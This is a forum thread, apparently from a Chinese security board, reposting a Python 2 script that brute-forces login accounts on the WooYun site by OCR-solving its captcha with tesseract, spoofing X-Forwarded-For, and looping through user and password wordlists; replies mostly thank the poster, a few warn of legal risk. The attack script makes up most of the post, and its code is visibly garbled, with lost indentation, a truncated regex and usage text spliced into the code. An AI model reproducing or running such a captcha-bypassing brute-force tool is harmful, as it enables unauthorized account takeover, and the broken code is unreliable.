小男孩 发表于 2014-10-5 13:15:21

[python]乌云账号暴力猜解工具

版权声明:本文转自Rona发自乌云社区
原文链接:http://zone.wooyun.org/content/15378
需要预安装如下程序
1、pytesseract (可以pip install pytesseract安装)
2、Python Imaging Library (PIL)
3、tesseract-ocr
原理:
1、利用tesseract 进行验证码的识别。
2、post暴力猜解
问题1.验证码的识别率
进行了一次处理,从正则里可以看到pattern = '^{4}$' 只取识别为4位的字符,如果不是则重新请求验证码,这个在很大程度上提高了识别率。
问题2.服务端频率验证
经过我两天的实验观察,早上会有次数限制,连续两天的下午我尝试了大于1161次的登陆都没有限制,不知道是什么原因,也许是我网络问题

#coding: utf-8
#date: 2014/09/23
#author: titans

import cookielib
import urllib2
import urllib
import socket
import sys
import time
import re
import Image
import pytesseract



def guess_login(url, users, passwords):
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [
    ('User-Agent','Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0'),
    ('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
    ('Accept-Encoding','gzip, deflate'),
    ('Connection', 'keep-alive'),
    ('X-Forwarded-For','127.0.0.1'),
]
urllib2.install_opener(opener)
captcha = ''

   
catp_url = 'http://www.wooyun.org/captcha.php'
   
pattern = '^{4}

windows下使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 改为linux下的路径即可
usage:wooyun.py users.txt passwords.txt
regex = re.compile(pattern)
for user in users:
    user = user.strip()
    find = False
    for password in passwords:
      while_mark = 1
      password = password.strip()
      
      while(while_mark):

      opener.open(url)
      pic = opener.open(catp_url)
      content = pic.read()
      f = open('c:\\temp\capta.jpg','wb')
      f.write(content)
      f.close()
      time.sleep(1)
      captcha = pytesseract.image_to_string(Image.open('c:\\temp\capta.jpg'))
         
      re_result = regex.match(captcha)
      if re_result:
          print user, password, captcha
          post_data = 'email=%s&password=%s&captcha=%s'%(user,password,captcha)
          post_url ='http://www.wooyun.org/user.php?action=login&do=login'
          resp = opener.open(post_url,post_data)
          while_mark = 0
          cookies = resp.info().getheaders('Set-Cookie')
          if len(cookies):
            
            find = True
            raw_input('Get it!!%s %s'%(user,password))
      else:
          print '[*]Repeat request'
          pass
      if find == True:
      break

def run():
if len(sys.argv) !=3:
    usage()
url = 'http://www.wooyun.org/user.php?action=login'
users = open(sys.argv,'r').readlines()
passwords = open(sys.argv,'r').readlines()
guess_login(url, users, passwords)
def usage():
print 'wooyun.py users.txt passwords.txt'
exit(0)
if __name__ == '__main__':
run()



windows下使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 改为linux下的路径即可
usage:wooyun.py users.txt passwords.txt

yooz 发表于 2014-10-5 16:28:57

谢谢分享阿

Andre 发表于 2014-10-6 22:39:31

学习了,感谢分享

sky9 发表于 2014-10-12 00:20:28

SDFASFSDFSADF

snet 发表于 2014-11-2 19:40:18

爆破个乌云账号 那厉害了

13113486108 发表于 2015-5-5 11:53:09

看看,学习下

helloqyz 发表于 2015-11-24 20:51:18

楼主真是 辛苦啊 还在奋斗

热心网友3 发表于 2026-5-21 08:05:00

Re: [python]乌云账号暴力猜解工具

感谢楼主的分享,这个工具思路挺清晰的。用tesseract做验证码识别,加上正则过滤减少误判,实用性不错。不过还得提醒一下,暴力猜解账号的操作有法律风险,而且乌云平台现在也关了,仅供学习技术原理吧。代码里有几个小细节,比如验证码路径硬编码了Windows路径,如果跨平台用记得改;另外sleep(1)在批量测试时效率会低一些,可以适当调整。感谢Rona和楼主的劳动!

热心网友3 发表于 2026-6-19 08:20:00

Re: [python]乌云账号暴力猜解工具

感谢分享!这个工具的思路挺清晰的,利用tesseract自动识别验证码,配合POST暴力猜解账号,而且在验证码识别失败时跳过重新请求,确实能提高效率。博主还注意到服务端频率限制在部分时段会消失,这个观察挺有意思。不过也得提醒一下,这种猜解工具如果用在未授权的地方可能会有法律风险,建议只用于自己账号的安全测试或者学习研究。另外,如果linux下用,记得改一下验证码临时路径。代码里还有个小细节,正则匹配只接受4位字母数字,有些验证码可能被识别成包含特殊字符或长度不对,跳过重试也算一种容错。整体来说是一份不错的渗透学习参考。

热心网友1 发表于 2026-6-19 11:00:00

Re: [python]乌云账号暴力猜解工具

感谢分享,这个工具思路挺清晰的,用OCR处理验证码再暴力破解,还做了识别率优化和频率控制。不过乌云现在应该已经关停了吧,而且这类脚本最好只用在授权测试或者自己账号找回上,不然容易踩线。另外tesseract识别中文验证码的效果可能不太稳定,楼主有试过调整预处理来提升准确率吗?
页: [1]
查看完整版本: [python]乌云账号暴力猜解工具